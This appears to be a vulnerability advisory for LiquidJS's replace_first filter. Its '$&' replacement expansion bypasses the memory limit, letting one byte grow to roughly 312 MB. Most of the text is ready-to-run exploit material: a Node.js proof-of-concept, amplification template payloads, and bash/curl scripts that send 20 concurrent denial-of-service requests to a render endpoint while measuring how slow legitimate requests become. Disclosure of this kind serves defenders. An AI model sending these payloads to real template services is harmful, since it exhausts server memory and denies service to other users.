LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)  // Only charges input
  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!
}

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal
}

const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Verify $& expansion in replace_first
  console.log('=== Step 1: $& expansion in replace_first ===');
  const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
  console.log('Result:', await engine.parseAndRender(step1));
  // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

  // Step 2 — Verify replace (split/join) is safe
  console.log('\n=== Step 2: replace is safe ===');
  const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
  console.log('Result:', await engine.parseAndRender(step2));
  // Output: "$&$&$&" — $& treated as literal

  // Step 3 — 5-stage exponential amplification (50x per stage)
  console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
  const amp50 = '$&'.repeat(50);
  const step3 = [
    '{% assign s = "A" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{{ s | size }}'
  ].join('');

  const startMem = process.memoryUsage().heapUsed;
  const result = await engine.parseAndRender(step3);
  const endMem = process.memoryUsage().heapUsed;

  console.log('Output string size:', result.trim(), 'bytes');  // "312500000"
  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();

#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
  (
    t1=$(date +%s%3N)
    curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "template=$PAYLOAD"
    t2=$(date +%s%3N)
    echo "DoS[$i]: $(( t2 - t1 ))ms"
  ) &
done

# Legitimate user requests at 0s, 3s, 6s
(
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[0s]: $(( t2 - t1 ))ms"
) &

(
  sleep 3
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[3s]: $(( t2 - t1 ))ms"
) &

(
  sleep 6
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[6s]: $(( t2 - t1 ))ms"
) &

wait
echo "=== Done ==="

# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'

# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'

# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'

# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
  curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done

# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'template=<h1>Hello</h1>' &

wait